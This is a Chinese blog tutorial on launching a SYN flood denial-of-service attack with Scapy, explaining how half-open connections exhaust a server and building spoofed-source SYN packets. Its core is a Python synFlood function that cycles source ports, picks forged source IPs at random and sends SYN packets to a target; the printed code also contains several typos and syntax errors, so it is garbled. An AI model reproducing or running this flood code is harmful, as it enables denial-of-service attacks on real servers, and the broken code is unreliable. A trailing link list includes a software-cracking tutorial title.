Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现在字符串中查找子字符串的方法
Jul 11 Python
python开发中module模块用法实例分析
Nov 12 Python
Python中捕获键盘的方式详解
Mar 28 Python
Python使用Pandas库实现MySQL数据库的读写
Jul 06 Python
Python 获取windows桌面路径的5种方法小结
Jul 15 Python
使用 tf.nn.dynamic_rnn 展开时间维度方式
Jan 21 Python
将自己的数据集制作成TFRecord格式教程
Feb 17 Python
Python用K-means聚类算法进行客户分群的实现
Aug 23 Python
pycharm2020.1.2永久破解激活教程,实测有效
Oct 29 Python
运行python提示no module named sklearn的解决方法
Nov 29 Python
Python基于Faker假数据构造库
Nov 30 Python
python中的列表和元组区别分析
Dec 30 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
php页面消耗内存过大的处理办法
2013/03/18 PHP
关于php 接口问题(php接口主要也就是运用curl,curl函数)
2013/07/01 PHP
php使用PDO操作MySQL数据库实例
2014/12/30 PHP
PHP中empty和isset对于参数结构的判断及empty()和isset()的区别
2015/11/15 PHP
Zend Framework动作助手(Zend_Controller_Action_Helper)用法详解
2016/03/05 PHP
PHP ajax+jQuery 实现批量删除功能实例代码小结
2018/12/06 PHP
jquery 图片截取工具jquery.imagecropper.js
2010/04/09 Javascript
node.js中的fs.writeSync方法使用说明
2014/12/15 Javascript
分享33个jQuery与CSS3实现的绚丽鼠标悬停效果
2014/12/15 Javascript
AngularJS 执行流程详细介绍
2016/08/18 Javascript
JS封装的选项卡TAB切换效果示例
2016/09/20 Javascript
Vue2.0用 watch 观察 prop 变化(不触发)
2017/09/08 Javascript
微信小程序日历弹窗选择器代码实例
2019/05/09 Javascript
vue 使用lodash实现对象数组深拷贝操作
2020/09/10 Javascript
[02:54]DOTA2英雄基础教程 暗影牧师戴泽
2013/12/05 DOTA
用python找出那些被“标记”的照片
2017/04/20 Python
Python标准库之collections包的使用教程
2017/04/27 Python
TensorFlow Session使用的两种方法小结
2018/07/30 Python
python dataframe向下向上填充,fillna和ffill的方法
2018/11/28 Python
python 计算概率密度、累计分布、逆函数的例子
2020/02/25 Python
Python魔术方法专题
2020/06/19 Python
图解Python中深浅copy(通俗易懂)
2020/09/03 Python
python与js主要区别点总结
2020/09/13 Python
PyCharm 解决找不到新打开项目的窗口问题
2021/01/15 Python
CSS3 清除浮动的方法示例
2018/06/01 HTML / CSS
CSS3中引入多种自定义字体font-face
2020/06/12 HTML / CSS
vue实现倒计时功能
2021/03/24 Vue.js
医药营销专业个人自荐信
2013/09/29 职场文书
仓库管理制度
2014/01/21 职场文书
宿舍保安职务说明书
2014/02/25 职场文书
小学生中国梦演讲稿
2014/04/23 职场文书
名人演讲稿范文
2014/09/16 职场文书
上班迟到检讨书300字
2014/10/18 职场文书
2014年建筑工作总结
2014/11/26 职场文书
MySQL Innodb关键特性之插入缓冲(insert buffer)
2021/04/08 MySQL
《堡垒之夜》联动《刺客信条》 4月7日正式上线
2022/04/06 其他游戏